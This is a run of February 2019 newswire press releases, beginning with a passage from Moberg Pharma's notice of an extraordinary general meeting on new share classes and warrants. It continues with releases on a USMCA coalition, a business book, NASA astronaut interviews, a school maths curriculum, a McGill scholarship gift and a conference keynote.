The Board of Directors proposes that the Extraordinary General Meeting resolves to introduce a new share class; series B shares. The series B shares shall, under certain conditions as stated in the articles of association, be redeemable at the quota value and convertible into ordinary shares, but shall otherwise have the same rights as the Company's ordinary shares.

In view of the above, the Board of Directors also proposes that the Extraordinary General Meeting resolves to amend the current  5 of the articles of association and to introduce two new provisions,  6 and  7, in the articles of association as follows:

" 5. Number of shares

The number of shares shall amount to no less than 17,000,000 and no more than 68,000,000.

Shares may be issued in three series, common shares, shares of series B and shares of series C. Common shares and series B shares may be issued in a maximum number corresponding to not more than 100 % of the total number of shares in the company and series C shares may be issued in a maximum number corresponding to no more than 2 % of the total number of shares in the company.

Each common share and series B share entitles the holder to one vote and each series C share entitles the holder to one- tenth of a vote.

Series C shares do not entitle to dividends. Series B shares do not entitle to the OTC-dividend (as defined below). Upon the company's liquidation, series C shares carry an equal right to the company's assets as common shares, however not to an amount exceeding the share's quotient value.

If the Company decides to issue new common shares, series B shares and series C shares through a cash issue or an issue against payment trough set-off claims, each owner of common shares, series B shares and series C shares shall have a pre-emptive right to subscribe for new shares of the same series in proportion to their existing shareholdings (primary pre-emptive rights). Shares not subscribed trough primary pre-emptive rights shall be offered to all shareholders for subscription (subsidiary pre-emptive rights). Should the number of shares offered not be enough for subscription through subsidiary pre-emptive rights, the said shares shall be apportioned among the subscribers in proportion to their existing shareholdings and, to the extent that this cannot be done, by lottery.

If the Company decides through a cash issue or a set-off issue to only offer common shares, series B shares or series C shares, shall all shareholders, regardless of whether their shares are common shares, series B shares or series C shares, have right to subscribe for new shares in proportion to their existing shareholdings.

The above shall not constitute any restriction on the possibility to decide on a cash issue or a set-off issue, deviating from the pre-emptive rights of the shareholders.

What is stated above about the shareholders' pre-emptive rights shall apply mutatis mutandis for new issues of warrants and convertibles not made against contribution in kind.

If the share capital is increased through a bonus issue, new shares in each series shall be issued in proportion to the existing number of shares in each series. Old shares in a specific series shall thus carry entitlement to new shares in the same series. The aforesaid shall not constitute any restriction on the possibility to issue new shares of a new series through a bonus issue, following the requisite amendments to the Articles of Association.

 6 Redemption provision

In case of a share split, whereby each share in the company is split into two (2:1) in order to carry out the OTC-dividend (as defined below), the Board of Directors may resolve on a reduction of the share capital by redemption of half of all series B shares existing after the split, in which case in relation to the shareholders, redemption shall be made in proportion to the number of series B shares held (each redeemed share, a "redemption share"). In case of a resolution on redemption, holders of series B shares shall be obliged to have all their redemption shares redeemed against an amount corresponding to the quota value. Payment of the redemption amount shall be made as soon as possible.

The "OTC-dividend" means the dividend that exceeds the previous year's dividend with more than 30 per cent. to be made by the company, corresponding to part of the cash consideration to be paid by the purchaser to the company in connection with the divestment announced by the company on 12 February 2019, and which may include a formal dividend distribution, share split and redemption of split shares, reduction of the share capital or similar events.

The Board of Directors may resolve on reduction of the share capital by redemption of all series C shares. In case of a resolution on redemption, holders of series C shares shall be obliged to redeem all series C shares against a redemption amount corresponding to the share's quotient value. Payment of the redemption amount shall be made as soon as possible.

 7 Conversion provision

After share split and redemption of redemption shares referred to in  6, first paragraph, or after the payment of the OTC-dividend or no later than 30 June 2020, series B shares shall automatically be converted (reclassified) into common shares. The Board of Directors shall without delay report the reclassification to the Swedish Companies Registration Office for registration. The reclassification will enter into effect as soon as the registration is completed and it has been noted in the securities depository register.

Series C shares held by the company itself may, upon request by the Board of Directors, be converted (reclassified) into common shares. Immediately thereafter, the Board of Directors shall report the reclassification to the Swedish Companies Registration Office (Sw. Bolagsverket) for registration. The reclassification is effected when it has been registered in the Swedish Register of Companies and the reclassification been noted in the Swedish Central Securities Depository Register."

The articles of association with the proposed new wording are attached in their entirety as Appendix 1 to the Board of Director's full proposal.

d) Proposal for resolution regarding authorization for the Board of Directors to issue redeemable and convertible series B shares, with deviation from the shareholders' pre-emptive rights (Item 7 d)

In order to secure delivery of newly issued series B shares to the Purchaser in accordance with the executed transaction agreements, the Board of Directors proposes that the Extraordinary General Meeting resolves to authorize the Board of Directors to, on one or several occasions during the period until the next Annual General Meeting, resolve to issue new redeemable and convertible series B shares, with deviation from the shareholders' pre-emptive rights.

The issue shall be effected on the following terms.

The subscription price to be paid for each new share shall be SEK 35.16 . The subscription price is deemed to correspond to the market value of the share. The total subscription price shall be the amount in SEK corresponding to USD 2.5 million , by applying the exchange rate reported by Bloomberg one business day prior to issuance of the new shares (the " Total Subscription Price ").

. The subscription price is deemed to correspond to the market value of the share. The total subscription price shall be the amount in SEK corresponding to , by applying the exchange rate reported by Bloomberg one business day prior to issuance of the new shares (the " "). The number of series B shares that may be issued may amount to no more than the number obtained through dividing the Total Subscription Price by a subscription price per share of SEK 35.16.

An increase of the Company's share capital with no more than an amount corresponding to the maximum number of new series B shares calculated in accordance with the above, multiplied by the quota value of the shares.

The new shares shall - with deviation from the shareholders' pre-emptive rights - be subscribed for only by an external party who has been informed in advance.The reason for deviating from the shareholders' pre-emptive rights is to promote the Company's long-term interests by offering the Purchaser the opportunity to become a shareholder in the Company and thereby secure financing of the Company's continuing operations.

The new shares shall be subscribed for at the latest on 10 April 2019 , with a right for the Board of Directors to extend the subscription period. Oversubscription is not permitted.

, with a right for the Board of Directors to extend the subscription period. Oversubscription is not permitted. Payment for shares subscribed for shall be effected at subscription of the shares.

The new shares shall be entitled to dividends for the first time on the record date occurring after the registration of the new shares with the Swedish Companies Registration Office and entry into the shareholder register kept by Euroclear.[1]



The new series B shares will be subject to restrictions as set forth in Chapter 4, Section 6 (conversion provision) and Chapter 20, Section 31 (redemption provision) of the Swedish Companies Act (SFS 2005:551).

The Board of Directors, Chief Executive Officer or such person as the Board of Directors authorize, shall be authorized to carry out amendments and clarifications of the Extraordinary General Meeting's decisions that are required in connection with the filing with the Companies Registration Office and Euroclear.

e) Proposal for resolution regarding authorization for the Board of Directors to issue warrants, with deviation from the shareholders' pre-emptive rights (Item 7 e)

In order to secure delivery of warrants to the Purchaser in accordance with the executed transaction agreements, the Board of Directors proposes that the Extraordinary General Meeting resolves to authorize the Board of Directors to, on one or several occasions during the period until the next Annual General Meeting, resolve to issue warrants, with deviation from the shareholders' pre-emptive rights.

The issue shall be effected on the following terms.

The number of warrants that may be issued may amount to no more than 659,421 warrants.

The warrants shall not be issued against payment.

Each warrant shall entitle to subscription for one ordinary share in the Company, against a price of SEK 35.16 per share. Payment for the shares shall be made in cash or by way of set-off.

per share. Payment for the shares shall be made in cash or by way of set-off. The warrants shall - with deviation from the shareholders' pre-emptive rights - be subscribed for only by an external party who has been informed in advance.The reason for deviating from the shareholders' pre-emptive rights is to promote the Company's long-term interests by offering the Purchaser the opportunity to become a shareholder in the Company and thereby secure financing of the Company's continuing operations.

In case all of the warrants are exercised, the Company's share capital will increase by SEK 65,942.10.

The warrants shall be subscribed for at the latest on 10 April 2019 , with a right for the Board of Directors to extend the subscription period. Oversubscription is not permitted.

, with a right for the Board of Directors to extend the subscription period. Oversubscription is not permitted. Subscription for shares by exercising the warrants may be made during the period from and including the date when the warrants have been registered with the Companies Registration Office, the Purchaser has advanced the Loan to the Company and the OTC-dividend has been paid up to and including 31 March 2023 .

. The new shares subscribed for by exercising the warrants shall be entitled to dividends for the first time on the record date occurring after the registration of the new shares with the Swedish Companies Registration Office and entry into the shareholder register kept by Euroclear.

Customary recalculation provisions shall apply to the warrants.

The Board of Directors, Chief Executive Officer or such person as the Board of Directors authorize, shall be authorized to carry out amendments and clarifications of the Extraordinary General Meeting's decisions that are required in connection with the filing with the Companies Registration Office and Euroclear.

f) Proposal for the appointment of Andrew B. Hochman, the Purchaser's nominee to the Board of Directors of the Company, conditional upon, and with effect from, closing of the Transaction (Item 7 f)

The Board of Directors proposes that the Board of Directors shall have six (6) members.

The Board of Directors proposes that the Purchaser's nominee, Andrew B. Hochman, is appointed as new member of the Board of Directors for a period from and including the day when closing of the Transaction has occurred, until the end of the next Annual General Meeting.

Born 31 March 1979, Andrew B. Hochman has more than 16 years of experience in pharmaceutical and consumer healthcare investments and is currently a partner at RoundTable Healthcare Partners, where he is involved in all aspects of the transaction process, including deal sourcing, transaction structuring, valuation, due diligence, negotiations, financing, and execution. He joined RoundTable in 2007 from Graceway Pharmaceuticals, where he served as Vice President of Business Development, and prior to that was an associate at GTCR Golder Rauner and an analyst at William Blair & Company. He earned Bachelor degrees in Economics from the Wharton School and in Psychology from the University of Pennsylvania. He serves as a board member of Santa Cruz Nutritionals, Revision Skincare/Goodier Cosmetics, and Deerland Probiotics & Enzymes, and previously served as a board member of Aqua Pharmaceuticals.

Majority requirements

A valid resolution in accordance with the Board of Director's proposals under items 7 a), and 7 f) above requires a simple majority among the votes cast.

A valid resolution in accordance with the Board of Director's proposals under items 7 b), 7 c), 7 d) and 7 e) above requires that shareholders representing not less than two-thirds of the votes cast as well as of the shares represented at the meeting approve the resolution.

Shares held by the Company may not be represented in the Extraordinary General Meeting.

Information at the Extraordinary General Meeting

Shareholders may request that the Board of Directors and the Chief Executive Officer provide information regarding circumstances that may affect the assessment of an item on the agenda for the Extraordinary General Meeting, and circumstances that can affect the assessment of the Company's financial position. The Board of Directors and the Chief Executive Officer shall provide such information at the Extraordinary General Meeting if they believe that it can be done without material harm to the Company. Shareholders wishing to submit questions in advance may send them to Moberg Pharma AB (publ), att. Malin Nilsson, Gustavslundsvagen 42, 5 tr, 167 51 Bromma, Sweden, or by e- mail to [email protected].

Documents

Forms of power of attorney will be available for shareholders at the Company and on the Company's website www.mobergpharma.se, at the latest on Friday, February 15, 2019. Documents according to the Companies Act will be available for shareholders at the Company and on the Company's website as above, no later than three weeks before the Extraordinary General Meeting. All of these documents will also, without charge, be sent to shareholders who so request and state their address. The documents will also be available at the Extraordinary General Meeting.

Processing of personal data

For information on how your personal data is processed, see the integrity policy that is available at Euroclear's webpage, www.euroclear.com/dam/ESw/Legal/Privacy-notice-bolagsstammor-engelska.pdf.

__________________________________________________

Stockholm in February 2019

Moberg Pharma AB (publ)

The Board of Directors

The information was submitted for publication at 9.45 a.m. (CET) on 13 February 2019.

[1] The new shares will, however, not entitle to the OTC-dividend.

This information was brought to you by Cision http://news.cision.com

http://news.cision.com/moberg-pharma/r/notice-of-extraordinary-general-meeting-in-moberg-pharma-ab--publ-,c2739844

The following files are available for download:

https://mb.cision.com/Main/1662/2739844/990290.pdf Notice of Extraordinary General Meeting in Moberg Pharma AB (publ)

SOURCE Moberg PharmaWASHINGTON, Feb. 13, 2019 /PRNewswire/ -- Today, a diverse group of trade associations, businesses, and advocacy groups launched the "Pass USMCA Coalition," an alliance advocating for the swift passage of the United States-Mexico-Canada Agreement during the 116th Congress.

Pass USMCA is a bipartisan effort led by Democrat Gary Locke, former ambassador to China, secretary of commerce, and governor of Washington; and Republican Rick Dearborn, who has served two U.S. presidents and six U.S. senators.

The coalition is focused on supporting swift passage of the USMCA by highlighting its unique benefits to America's workers, consumers, businesses, and economy.

Trade with Canada and Mexico supports 14 million U.S. jobs across many sectors. These workers -- and the industries they support -- drive billions of dollars in annual U.S. exports. In 2017, the United States exported more than $275 billion in goods to Mexico and nearly $350 billion in goods to Canada.

"The USMCA sets a modern precedent for freer and fairer trade not only in North America, but throughout the world," said Gary Locke, honorary chairman of Pass USMCA. "Ratifying the agreement quickly will improve our trading relationships with Canada and Mexico, create more jobs for American workers, and propel international trade into the 21st century."

The USMCA further strengthens North American trade relationships -- and empowers U.S. businesses to export even more goods to Canada and Mexico each year.

The deal promotes U.S. exports, enhances intellectual property protections for U.S. creative industries, and boosts resources for America's small businesses.

"The USMCA is a win for America," said Rick Dearborn, executive director of Pass USMCA. "It will launch the nation into a new era of economic and creative prosperity. Congress must seize this opportunity to strengthen our North American trading partnerships."

About Pass USMCA: Pass USMCA Coalition is a group of trade associations and businesses advocating for the swift passage of the United States-Mexico-Canada agreement. The provisions outlined in USMCA will defend American jobs, cultivate innovation, and encourage business development, spurring growth for local, state, and national economies.

For more information visit www.PassUSMCA.org.

Media Contact:

Emily Troisi

(202) 471-4228, ext.120

[email protected]

SOURCE The Pass USMCA Coalition

Related Links

http://www.PassUSMCA.org

BOSTON, Feb. 13, 2019 /PRNewswire/ -- Boston-based professors and business experts Tucker Marion and Sebastian Fixson have done with their new book "The Innovation Navigator: Transforming Your Organization in the Era of Digital Design and Collaborative Culture" what business authors have not done in over a decade: written a groundbreaking new book that will change how businesses act.

Professor Tucker Marion and Professor Sebastian Fixson

In The Innovation Navigator, Marion, a Northeastern University Professor, and Sebastian Fixson, a Babson College Professor, explore four innovation archetypes, that they call modes  "specialist," "venture," "community," and "network"  which feature prominently in the expanding innovation landscape. Specialists employ technologies to achieve entirely new solutions and superior product performance. New corporate ventures lower the barriers for employees to self-select into entrepreneurial projects while reducing the constraints of bureaucracy. The community brings new sources of knowledge by expanding past the firm's boundaries, dramatically increasing the number of participants. The network creates partnerships and ecosystems that create innovations that could not be developed by individual companies alone.

"The emergence of digital design and a collaborative culture have fundamentally altered how firms, and people, approach the innovation process," the authors, who both started as mechanical engineers, wrote. "In the predigital design era, most new product and service development was conducted by individuals and organizations holding the relevant expertise, and most collaboration either occurred inside of firms or was governed by market-based transactions between firms. Today, aided by digital design and fabrication tools on the one hand and new forms of collaboration via social networking communities and collaboration/sharing tools on the other, the 'innovation landscape' is marked by new forms of participation and ownership, with new participants entering new markets and new arrangements of collective innovation."

The two major forces  digital design and a collaborative culture  form a "perfect storm" that substantially expands the innovation landscape, and in this new innovation landscape, four distinct regions are emerging. Each of these regions calls for its own innovation management approach (i.e., its own innovation modus operandi). Each of these innovation modes comes with different but significant ramifications for users, consumers, communities, vendors, and firms themselves. The locus of expertise is shifting from the human expert to the tools, allowing the experts to push technology frontiers outward in the traditional regions of the new innovation landscape, while enabling non-experts to participate in some activities like never before, especially in the venture and community modes. At the same time, whereas economic transactions will remain the main form of exchange in the traditional regions, they are complemented by social exchanges in the other modes, especially the community mode, with significant challenges for designing incentives and ownership regimes.

The good news, of course, is that this creates an opportunity-rich environment for firms to innovate. The expanded landscape, and the new innovation modes that come with it, create an environment which more ideas of higher quality can seed innovation funnels, where new engineering tools allow the vetting of more mature concepts earlier in the process, where new actors can help develop solutions, and where innovation networks can lower costs and barriers to entry. This means more ideas from more sources, the potential for better ideas, and ways to radically reduce the investment needed to bring them to market. The bad news is that this also creates some new demands and hurdles. Managers need frameworks for navigating and understanding how to harness the power of this new landscape. In this book, the authors attempt to show that there are many opportunities to leverage this new landscape, but all four innovation modes exhibit their challenges. They encourage firms to explore these different modes but to do so with clear expectations and a firm grasp of the risk and reward potential.

"The Innovation Navigator" guides the reader in exploring and exploiting these different modes of innovation. Individual chapters provide key insights into the inherent opportunities and challenges from a number of vantage points: from the impact on organizational resources to the role of incentives. The book also provides a framework for how firms can leverage dynamic mode shifts and multimode strategies. Firms across the industrial spectrum are profiled, from new additive manufacturing companies such as Formlabs, community-based solution providers like Forth, to traditional firms exploring new modes like GE Appliances and their FirstBuild initiative. "The Innovation Navigator" will assist executives in building the capabilities for peak performance in this new innovation landscape.

In the end, the authors developed their frameworks to help managers and executives take advantage of the tremendous opportunities that present themselves in each of the new modes of innovation. In the early chapters, they discuss some history behind the development of the two forces which are expanding the innovation landscape. Then they dive into the individual innovation modes, with an eye toward giving practical advice on how to approach the unique benefits and challenges of each mode. Finally, they discuss how they can use these modes together to great effect.

"In this book, the authors discuss how two forces  digital design and a collaborative culture  are moving us from the pre-digital age into the digital era," wrote Ric Fulop Founder and CEO, Desktop Metal, Inc. in the book's Foreword. "In this new era, these two forces are paving the way for transformative breakthroughs, not only in the speed with which we can prototype, but in the designs themselves and how they are manufactured. These new opportunities will reshape how firms approach design, development, and manufacturing and how they organize themselves and involve others in the process. Cloud-based CAD (computer-aided design) to facilitate distributed collaboration, design optimization via generative design, real-time engineering analysis, increasingly fast and near-net-shaped custom prototyping and production 3D printing, and exponential growth of collaborative communication platforms like Slack are examples of this trend. The pace is breathtaking. We are living in an exciting time, and those that best implement these new technologies and platforms will have a competitive advantage."

Professor Marion has over 20 years of experience in product design, development and commercialization. Prior to entering academia, Tucker held product development and manufacturing positions in the automotive industry including Visteon Corporation and Ford Motor Company. His expertise centered on bringing electronic systems from business case through manufacturing and production ramp. He has also started or co-founded several start-ups where he led the design, engineering and development products ranging from consumer products to industrial systems. Products where he led the design and development effort have appeared in Popular Science, the New York Times, and others. Tucker has significant expertise in the development of electronic modules, sensors, and systems. He regularly consults with technology firms on improving their innovation processes.

Professor Marion joined Northeastern in 2007, where he developed core graduate courses for the new School of Technological Entrepreneurship. In 2013, he led the development and launch of the new Master's of Science in Innovation program and currently serves in the following roles: Entrepreneurship & Innovation Group Coordinator for Academic Programs, Director of the Innovation Masters programs, Co-Director of the Institute for Global Innovation Management. His custom executive education classes include design thinking, rapid design and development, corporate entrepreneurship, innovation strategy, and revitalizing organizational growth starting with empowered, entrepreneurial teams.

Sebastian Fixson is Professor of Innovation & Design at Babson College. He also served as the founding Faculty Director of Babson's Master of Science in Management in Entrepreneurial Leadership (MSEL) program from 2014-2017. Trained as both an engineer and a social scientist, Dr. Fixson concentrates his research work on creating knowledge to help organizations build innovation capabilities. His recent research investigates how innovation performance is impacted through the underlying problem structure, through choices in process governance (open vs. closed innovation), through the use of digital design tools, and through the use of innovation practices such as Design Thinking. Results of his research workflow directly into his teaching and advising activities. Dr. Fixson teaches on the subjects of innovation, design, and operations management to audiences across all programs (Undergraduate, MBA/MS, Executive Education) at Babson and around the world.

Prior to joining the Babson College faculty in 2008, he has taught at the University of Michigan's Industrial and Operations Engineering department, MIT's Sloan School of Management, and Northeastern University's School of Technological Entrepreneurship. Dr. Fixson collaborates with industrial partners in various formats, ranging from joint research projects, to teaching, advising and consulting, to speaking engagements. Dr. Fixson's work has appeared in books and journals such as Concurrent Engineering, Creativity and Innovation Management, Design Management Review, IEEE Transactions on Engineering Management, International Journal of Automotive Technology and Management, Journal of Operations Management, Journal of Product Innovation Management, MIT Sloan Management Review, Research Policy, Research-Technology Management, Technology Analysis & Strategic Management, as well as online outlets such as Harvard Business Review online.

To purchase a copy of "The Innovation Navigator: Transforming Your Organization in the Era of Digital Design and Collaborative Culture," go to Amazon.com or better bookstores nationwide.

Media Contact:

Bob Newman

Phone: 617-952-1470

Email: [email protected]

SOURCE Professor Tucker Marion and Professor Sebastian FixsonWASHINGTON, Feb. 13, 2019 /PRNewswire/ -- NASA astronauts Nick Hague and Christina Koch will be available for live satellite interviews Friday, Feb. 22, as they undergo final training before their launch to the International Space Station, scheduled for March 14.

Originating from the Gagarin Cosmonaut Training Center in Star City, Russia, the interviews will air live on NASA Television and the agency's website.

Hague will be available from 7-8 a.m. EST and Koch will be available from 8:30-9:30 a.m. NASA TV will air video highlights from their training and Hague's previous mission prior to the first interview block, beginning at 6:30 a.m., as well as during the time between the two blocks of live interviews.

To interview Hague, media must contact Mary Beth Boddeker at 281-483-2167 or [email protected] no later than 3 p.m. Wednesday, Feb. 20. To interview Koch, media must contact Sarah Volkman at 281-483-9071 or [email protected] no later than 3 p.m. Wednesday, Feb. 20. Media participating in the interviews must tune to the NASA TV Media Channel (NTV-3). Satellite tuning information is available at:

http://go.nasa.gov/1pOWUhR

Hague and Koch, along with Russian cosmonaut Alexey Ovchinin of the Russian space agency Roscosmos, will launch on the Russian Soyuz MS-12 spacecraft at 3:14 p.m. EDT Thursday, March 14 (12:14 a.m. Friday, March 15, Baikonur time), from the Baikonur Cosmodrome in Kazakhstan. They will travel from Star City to Baikonur on Tuesday, Feb. 26, for final pre-launch preparations.

After a six-hour journey in orbit, they will arrive at the station and dock their spacecraft to the Rassvet module on the Earth-facing port of the Russian segment of the complex. They will then join fellow NASA astronaut Anne McClain, station commander Oleg Kononenko of Roscosmos, and David Saint-Jacques of the Canadian Space Agency, restoring the station to a standard crew of six. At the time of docking, Expedition 59 will begin aboard the orbital outpost.

For Hague and Ovchinin, this will be an opportunity to complete the journey to the station that ended prematurely on Oct. 11, when one of the four liquid-fueled strap-on boosters on their Soyuz MS-10 spacecraft failed to separate properly, resulting in an abort. They landed safely after a flight lasting only about 30 minutes. This will be the second flight for Hague, the third for Ovchinin and the first for Koch.

During the planned six-month mission, the station crew will take part in about 250 research investigations and technology demonstrations not possible on Earth. Science conducted on the space station continues to yield benefits for humanity and will enable future long-duration human and robotic exploration into deep space. The crew also is scheduled to be aboard during test flights of NASA's Commercial Crew Program, which will resume human spaceflight launches from U.S. soil.

Hague is a native of Hoxie, Kansas, and a colonel in the U.S. Air Force. Prior to his selection, he was part of the Air Force Fellows program in Washington, where he worked as an adviser to the U.S. Senate on matters of national defense and foreign policy. He earned a bachelor's degree in astronautical engineering from the U.S. Air Force Academy and a master's degree in aeronautical and astronautical engineering from the Massachusetts Institute of Technology. NASA selected him as an astronaut in 2013.

Koch, who grew up in Jacksonville, North Carolina, earned bachelor's degrees in electrical engineering and physics and a master's degree in electrical engineering from North Carolina State University in Raleigh. Her career includes experience as an electrical engineer, focusing on space science instrument design, at NASA's Goddard Space Flight Center in Greenbelt, Maryland, and the Johns Hopkins University's Applied Physics Lab, in Laurel, Maryland. She also worked as a research associate with the U.S. Antarctic Program, completing several deployments, including a winter at the South Pole. Her work at remote scientific research stations went on to include sessions as a field engineer in the Arctic and as station chief with the National Oceanic and Atmospheric Administration (NOAA) in American Samoa. NASA also selected her as an astronaut in 2013.

Follow Hague on social media at:

https://twitter.com/AstroHague

https://www.facebook.com/astrohague

https://www.instagram.com/astrohague/

Follow Koch on social media at:

https://twitter.com/Astro_Christina

https://www.facebook.com/AstroChristina

https://www.instagram.com/astro_christina

Learn more about the International Space Station and its crews at:

http://www.nasa.gov/station

SOURCE NASA

Related Links

http://www.nasa.gov

WASHINGTON, Feb. 13, 2019 /PRNewswire/ -- Montgomery County (Maryland) Public Schools has adopted Eureka Math from Great Minds as its new elementary school math curriculum.

The high-achieving school district just outside Washington, D.C., approved Eureka Math for Prekindergarten through Grade 5. Schools will begin using the math curriculum in the 2019-2020 school year as part of a three-year roll-out.

"In selecting Eureka Math, Montgomery County Public Schools is going to get instructional materials and resources that respect the craft of teaching and set high expectations for all students," said Lynne Munson, founder and CEO of Great Minds. "The curriculum teaches math as a body of knowledge, not just a set of skills. Students build an understanding of math that serves them indefinitely in education and life."

The adoption of Eureka Math by the 14th largest school system in the country follows a Johns Hopkins University review of the district's curricular needs. The reviewers recommended the district adopt a new curriculum that was better aligned with college- and career-ready learning standards and would improve the teaching of mathematics across grades. The accompanying report noted that the learning trajectory of some subgroups of students was a concern under the district's outgoing curriculum.

At the January 8 Montgomery County Board of Education meeting where district administrators recommended Eureka Math for adoption, Niki Hazel, director of the Department of Elementary Curriculum and Districtwide Programs for Montgomery County Public Schools, commented on the positive reviews other districts gave the math curriculum. "The references were so excited to talk to us about the product and the growth that their students are making in the districts that they're in, so we were really excited about hearing how students are moving (forward) with their resource," she said.

In neighboring District of Columbia Public Schools, students at every grade level assessed, across all neighborhoods, made gains since the districtwide adoption of Eureka Math in the 2016-17 school year. Many other schools and districts across the country also have had strong success with Eureka Math, including "astounding" results at a Kentucky elementary school.

Great Minds developed Eureka Math and its predecessor, EngageNY Math, working with classroom teachers and mathematicians from higher education. The creators sought to produce a math curriculum that would meet more rigorous learning standards; improve students' understanding of mathematics as a body of knowledge rather than simply a set of skills; help students better apply math toward solving real-world problems; and provide teachers with detailed instructional methods.

Independent reviewers, including EdReports.org, have given Eureka Math high scores for alignment with standards and usability in the classroom. The state of Louisiana, known for rigorous curricula review, has given the curriculum its top rating.

Eureka Math is available for Prekindergarten through Grade 12.

About Great Minds: The organization recently celebrated its 10th anniversary, evolving from a startup to a provider of the highest quality materials to schools nationwide. A group of educators founded Great Minds to define and encourage knowledge-rich, comprehensive education for all students. Eureka Math and Wit & Wisdom both earned near-perfect scores from independent nonprofit reviewer EdReports.org. Great Minds is the only curriculum developer to have earned three Tier 1 ratings, the highest possible, for Wit & Wisdom, Eureka Math, and PhD Science, from the Louisiana Department of Education, which is widely respected for its curricula leadership. The most recent data from a RAND Corporation survey of teachers found Eureka Math and its original version, EngageNY Math, were the most widely used elementary school math curriculum in the nation. Learn more at greatminds.org.

SOURCE Great Minds

Related Links

http://www.greatminds.org

C$200 million gift will establish the McCall MacBain Scholarships for outstanding graduate students

MONTREAL, Feb. 13, 2019 /PRNewswire/ - Today, John and Marcy McCall MacBain announce the creation of the McCall MacBain Scholarships at McGill through a landmark gift of $200 million (Canadian), the single-largest gift in Canadian history.

The McCall MacBain Scholarships at McGill will provide outstanding students from Canada and internationally with the opportunity to pursue a master's or professional degree, combined with a world-class enrichment program.

In addition to full funding to cover tuition and fees plus a living stipend, scholars will benefit from mentorship and immersive learning experiences including retreats, workshops and internships. It will be the most generous and comprehensive graduate scholarship to exist at this level in Canada.

In initiating this gift in honour of McGill's bicentennial, the McCall MacBains and their Foundation recognize an important gap in the Canadian higher education landscape: that there is currently no comprehensive, leadership-driven scholarship in the country for master's and professional degree students. As a result, the McCall MacBain Scholarships will invest in students who are developing expertise in their respective fields and have a track record of collaborating with others to understand and address important problems and challenges. By creating Canada's first comprehensive scholarship at this level  one that builds on but is not limited to academic excellence  John and Marcy McCall MacBain hope to bring together a resilient community of students dedicated to solving pressing global issues and complex problems, to ultimately improve the lives of others.

"As graduates of Canada's publicly-funded university system, Marcy and I know first-hand how universities like McGill can reduce social barriers and foster talent at the highest of levels," said Mr. McCall MacBain. "I received my undergraduate degree as a scholarship student from McGill and it truly changed my trajectory. We are confident that with its combination of academic excellence and global reach, McGill is the institution where even more exceptional students can realize the aspirations they have for themselves and the welfare of others."

"We are incredibly grateful to John and Marcy McCall MacBain for their visionary support of McGill's students," said Suzanne Fortier, McGill's Principal and Vice-Chancellor. "As McGill prepares to celebrate its Bicentennial in 2021, the McCall MacBain Scholarships embody our vision for McGill's third century: a place where students become future-ready and prepared to contribute to shaping our rapidly changing world."

Applications will open in the fall of 2020 to students from across Canada for the inaugural class. McCall MacBain Scholars will begin their studies at McGill in the fall of 2021. The Scholarships will be expanded to include international students in the third year of operation. Within five years, the Scholarships will grow to support up to 75 scholars on campus. McCall MacBain Scholars will be able to choose among existing master's and professional degrees such as Law and Medicine, as well as McGill's newly-created interdisciplinary Master of Arts and Science, which is under development and is expected to be inaugurated to coincide with the inaugural class.

Scholars will be selected for a combination of civic engagement, intellectual curiosity, entrepreneurial spirit, academic excellence, and exceptional character. Understanding that students with these qualities exist all over the country and the world, McCall MacBain Scholars will represent a diversity of backgrounds and bring a broad range of academic interests, cultural and geographic experiences, and a strong spirit of collaboration and deep interest in learning from others. Planned to continue in perpetuity, the McCall MacBain Scholarships will, over many decades, create a global community of innovators, creative leaders, academics, entrepreneurs and others with a lifelong commitment to improving the circumstances of those around them and working with others to make real change.

"As we develop these scholarships and support our scholars, we are looking forward to welcoming promising leaders with entrepreneurial spirit, who foster opportunities not only for themselves  but for those living in the world around them," said Dr. Marcy McCall MacBain.

Franca Gucciardi, CEO of the McCall MacBain Foundation said, "We are planning to work hard to set up selection committees in Canada and then around the world to find and select the best future leaders to become McCall MacBain Scholars."

"This is an extraordinary day for McGill, and we could not be prouder that John is our alumnus," said Michael Meighen, McGill's Chancellor. "We are grateful and honoured that John and Marcy have selected McGill as the home for this unique scholarship. With this gift, the largest philanthropic gift ever in Canada, they have cemented their place in modern history as great educational visionaries and philanthropists. They are the ideal embodiment of McGill's aspirations and values."

Originally from Niagara Falls, Ontario, John McCall MacBain came to McGill to study Economics, graduating with an Honours Bachelor of Arts degree in 1980. During his time at McGill, he was deeply involved in student life, including serving as President of the Students Society of McGill University. In his final year, he was named Valedictorian. Mr. McCall MacBain subsequently obtained a law degree from University of Oxford as a Rhodes Scholar, followed by an MBA from Harvard Business School, before launching a successful entrepreneurial career.

Media Content link: mcgill.ca/newsroom/thegift

About the McCall MacBain Scholarships: www.mccallmacbainscholars.org

About McGill: www.mcgill.ca

SOURCE McGill University

Related Links

www.mcgill.ca

DENVER, Feb. 13, 2019 /PRNewswire/ -- On Saturday, March 2nd, the Mile High city will welcome Shiza Shahid, entrepreneur, investor, impact-leader and activist who has proven to be an unstoppable force for positive social change. From co-founding the Malala Fund, to helping mission-focused start-ups through her new fund and platform, Now Ventures, Shahid has been recognized by both Forbes and Time Magazine as one of their "30 Under 30". Shahid will deliver a keynote speech at the 2019 Rocky Mountain Early Childhood Conference (RMECC) followed by a meet and greet with registered attendees.

Shiza Shahid will deliver a keynote speech at the 2019 Rocky Mountain Early Childhood Conference (RMECC) followed by a meet and greet with registered attendees.

While Shahid's activism began during her teens, she is perhaps best known for harnessing the outrage of Malala Yousafzai's tragedy to build the momentum for change. When Yousafzai was shot by the Taliban after campaigning for education access for girls, Shahid took up the 12-year old's cause. She helped transform the young girl's desire to continue her fight for woman's education in Pakistan into the Malala Fund, which has grown to impact girl's education in six different countries to date.

Shahid's passion for social good did not stop there. These days, Shahid is focused on helping drive global change by supporting and funding scalable social impact models through Now Ventures, which supports companies with innovative, paradigm-shifting solutions to the world's biggest problems. By funding startups who base their mission on positively impacting our world, Shahid and her company are out to prove that social gains and economic profits are not mutually exclusive.

She remains deeply invested in people, communities and causes, understanding that collaboration is a key factor to success. "It's so important that people come together to grow and learn from each other, particularly when it comes to areas that affect our youngest children. If we can impact a child early on and ensure that all children have the best early childhood possible, we truly can change the future," Shahid stated. "I am excited to speak to and engage with so many early childhood champions."

Attendees can see and meet Shahid on Saturday, March 2. Register, view the complete schedule, session descriptions and additional program details at www.rmecconference.com.

About Rocky Mountain Early Childhood Conference (RMECC): it is the region's largest and leading early childhood conference. The conference provides early childhood professionals, business leaders, policymakers, parents, caregivers and other key stakeholders with top-notch keynote speakers, hundreds of workshops, exhibitors and networking opportunities. Visit www.rmecconference.com to find out more about this year's workshops, exhibitors and keynote speakers.

CONTACTS:

Haysel Hernandez, (757) 634-9422

[email protected]

